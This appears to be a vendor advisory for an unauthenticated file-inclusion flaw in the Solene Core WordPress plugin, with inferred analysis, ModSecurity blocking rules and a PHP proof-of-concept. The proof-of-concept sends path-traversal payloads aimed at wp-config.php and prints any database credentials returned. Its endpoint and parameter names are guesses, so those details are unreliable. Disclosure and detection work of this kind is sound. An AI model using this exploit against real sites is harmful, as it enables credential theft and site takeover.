Atomic Edge analysis of CVE-2026-39523 (metadata-based):
This vulnerability is an unauthenticated Local File Inclusion (LFI) flaw in the Solene Core WordPress plugin, affecting versions up to and including 2.3.2. The CVSS score is 8.1 (High), with a vector indicating network-based, high-complexity attacks that require no privileges or user interaction, enabling full compromise of confidentiality, integrity, and availability.
The root cause is likely a failure to sanitize or validate a filename parameter passed to a PHP include or require statement. Based on the CWE-98 classification (improper control of filename in include/require), the plugin probably uses a user-supplied parameter from a GET or POST request to dynamically include a file without restricting the path to a whitelist of allowed files or directories. Atomic Edge analysis infers this from the CWE and description; no code diff is available.
Exploitation would involve sending a crafted request to a vulnerable endpoint exposed by the plugin. Common attack vectors include an AJAX action or a shortcode handler that accepts a file path parameter. For example, the plugin might register an action like “solene_core_load_template” via WordPress AJAX hooks. An attacker could call /wp-admin/admin-ajax.php with action=solene_core_load_template and a path parameter containing path traversal sequences (e.g., ../../../../wp-config.php) to include arbitrary files. The high complexity rating suggests that the vulnerable code may require specific server configurations or non-default settings to reach.
Remediation requires the plugin developer to sanitize user-supplied filenames before use in include/require statements. The fix should validate that the file path is within an allowed directory, use a whitelist of permitted filenames, or completely avoid dynamic inclusion of user-controlled paths. The patched version 2.3.4 likely implements such controls, such as using realpath() to resolve and check the path, or using a mapping array instead of direct user input.
The impact is severe. An unauthenticated attacker can read arbitrary files on the server, including the WordPress configuration file (wp-config.php) containing database credentials. If the server allows file uploads of non-executable types (like images, CSS, or PDFs), the attacker could upload a malicious PHP file disguised as a safe file type and then use this LFI to include it, executing arbitrary PHP code. This leads to complete site compromise, data theft, and further attacks against connected systems.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-39523 (metadata-based)
# Blocks path traversal in Solene Core plugin AJAX and GET parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20263951,phase:2,deny,status:403,chain,msg:'CVE-2026-39523 - Solene Core LFI via AJAX',severity:'CRITICAL',tag:'CVE-2026-39523'"
SecRule ARGS_POST:action "@streq solene_core_load_template" "chain"
SecRule ARGS_POST:/(file|template|path|include|load)/ "@rx ../" "t:none"
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20263952,phase:2,deny,status:403,chain,msg:'CVE-2026-39523 - Solene Core LFI via AJAX generic',severity:'CRITICAL',tag:'CVE-2026-39523'"
SecRule ARGS_POST:action "@rx ^solene_core_" "chain"
SecRule ARGS_POST:/(file|template|path|include|load)/ "@rx ../" "t:none"
# Block direct GET requests with traversal in common Solene Core parameters
SecRule QUERY_STRING "@rx (b|_)(file|template|path|include|load)=[^&]*../" "id:20263953,phase:2,deny,status:403,chain,msg:'CVE-2026-39523 - Solene Core LFI via GET',severity:'CRITICAL',tag:'CVE-2026-39523'"
SecRule REQUEST_URI "@rx /solene-core" "chain"
SecRule REQUEST_URI "@rx .php" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-39523 - Solene Core <= 2.3.2 - Unauthenticated Local File Inclusion
$target_url = 'http://example.com'; // Change to the target WordPress site URL
// The plugin likely registers an AJAX action like 'solene_core_load_template'
// or a shortcode that accepts a 'file' parameter.
// We'll test multiple common parameter names.
$params_to_test = array(
'file',
'template',
'path',
'include',
'load'
);
foreach ($params_to_test as $param) {
$payload = '../../../../wp-config.php'; // Path traversal to WordPress config
$url = $target_url . '/wp-admin/admin-ajax.php';
$data = array(
'action' => 'solene_core_load_template',
$param => $payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// If the response contains typical wp-config.php content (like DB_NAME, DB_USER), assume success
if (strpos($response, 'DB_NAME') !== false || strpos($response, 'DB_USER') !== false || strpos($response, 'wp-config') !== false) {
echo "[+] Vulnerability confirmed via parameter: $paramn";
echo "[+] Retrieved content (first 500 chars):n";
echo substr($response, 0, 500);
exit;
} else {
echo "[-] Parameter '$param' did not yield config file. HTTP code: $http_coden";
}
}
// Also try a direct GET parameter approach (e.g., via a shortcode or endpoint)
$payload = '../../../../wp-config.php';
$url = $target_url . '/?' . http_build_query(array(
'solene_core_template' => $payload
));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'DB_NAME') !== false || strpos($response, 'DB_USER') !== false) {
echo "[+] Vulnerability confirmed via GET parameter 'solene_core_template'n";
echo substr($response, 0, 500);
} else {
echo "[-] No vulnerability detected with tested endpoints and parameters.n";
}
